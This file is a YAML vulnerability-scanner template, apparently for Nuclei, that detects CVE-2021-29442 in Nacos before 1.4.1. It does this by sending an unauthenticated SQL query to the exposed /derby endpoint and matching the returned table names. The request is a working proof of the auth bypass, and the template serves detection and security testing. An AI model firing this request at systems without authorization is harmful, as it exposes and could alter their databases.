40 lines
1.8 KiB
YAML
40 lines
1.8 KiB
YAML
id: CVE-2021-29442
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info:
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name: Nacos prior to 1.4.1 Missing Authentication Check
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author: dwisiswant0
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severity: high
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description: |
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In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out.
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While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
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These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
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reference:
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- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
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- https://github.com/alibaba/nacos/issues/4463
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- https://github.com/alibaba/nacos/pull/4517
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- https://github.com/advisories/GHSA-36hp-jr8h-556f
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-29442
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cwe-id: CWE-306
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tags: nacos,auth-bypass,cve,cve2021
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "application/json"
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part: header
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- type: regex
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regex:
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- "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
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part: body
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